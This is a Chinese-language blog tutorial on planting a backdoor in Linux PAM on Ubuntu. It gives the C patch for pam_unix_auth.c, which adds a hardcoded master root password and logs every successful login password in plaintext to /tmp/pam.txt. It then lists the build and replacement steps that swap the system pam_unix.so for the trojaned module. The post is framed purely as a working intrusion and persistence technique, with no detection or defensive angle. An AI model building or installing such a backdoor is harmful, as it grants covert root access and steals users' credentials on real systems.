zoukankan      html  css  js  c++  java
  • Linux pam 后门纪录root用户密码以及自己设置root密码登录root

    最近看了一下有关Linux pam后门相关的知识点,发现有一些坑,便记录一下

    本次用的机器为Ubuntu16.04

    一、查看本机pam版本

    dpkg -l | grep pam

    可以看到pam的版本为1.1.8

    二、下载对应版本的pam

    各个版本的pam包下载地址:http://www.linux-pam.org/library/

    下载对应版本的压缩包并解压
    wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz
    tar -zxvf Linux-PAM-1.1.8.tar.gz

    三、编译

    !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
    特别注意:64位系统编译可能会遇到yywrap()函数未定义错误,需先安装flex软件包,而网上的大部分都是添加
    #define yywrap() 1
    但我的添加了并没有解决,反而又报了其他的错误,一直卡在了这
    !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
    sudo apt-get install flex

    修改 linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c 中的内容

    if(strcmp(p,"adhzl")==0){
      retval=PAM_SUCCESS;
    }
    if(retval==PAM_SUCCESS){
      FILE * fp;
       fp=fopen("/tmp/pam.txt","a");
       fprintf(fp,"%s::%s
    ",name,p);
       fclose(fp);
    }

    其中strcmp(p,"adhzl")中的adhzl为自己设置的root密码,可以用来登录root用户,/tmp/pam.txt为纪录的root用户的登录密码的路径和保存的文件名

    然后在解压的路径下编译安装

    ./configure
    make

    编译完之后的后门文件在

    /Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so

    四、替换

    首先查找原来的pam_unix.so的路径

    sudo find / -name pam_unix.so

    我的是在

    /lib/x86_64-linux-gnu/security/pam_unix.so

    先备份原来的pam_unix.so,然后复制编译生成的pam_unix.so到/lib/x86_64-linux-gnu/security/目录下

    五、验证

    su root

    输入之前输入的预设密码

    可以登录到root用户

    然后输入真正的root用户的密码,也可以登录到root用户

    在/tmp目录下查看是否有pat.txt

    查看pam.txt内容

    前两次为用自己输入的密码成功登录到root用户,第三次为输入真正的root用户的密码,都纪录了下来。

  • 相关阅读:
    痞子衡嵌入式:利用i.MXRT1060,1010上新增的FlexSPI地址重映射(Remap)功能可安全OTA
    “既生 ExecutorService, 何生 CompletionService?”
    55
    .map() is not a function【js报错】
    内网穿透之流量代理转发
    JDK8 String类知识总结
    Java并发编程(07):Fork/Join框架机制详解
    数据源管理 | 分布式NoSQL系统,Cassandra集群管理
    Solon详解(三)- Solon的web开发
    Solon详解(二)- Solon的核心
  • 原文地址:https://www.cnblogs.com/adhzl/p/12098397.html
Copyright © 2011-2022 走看看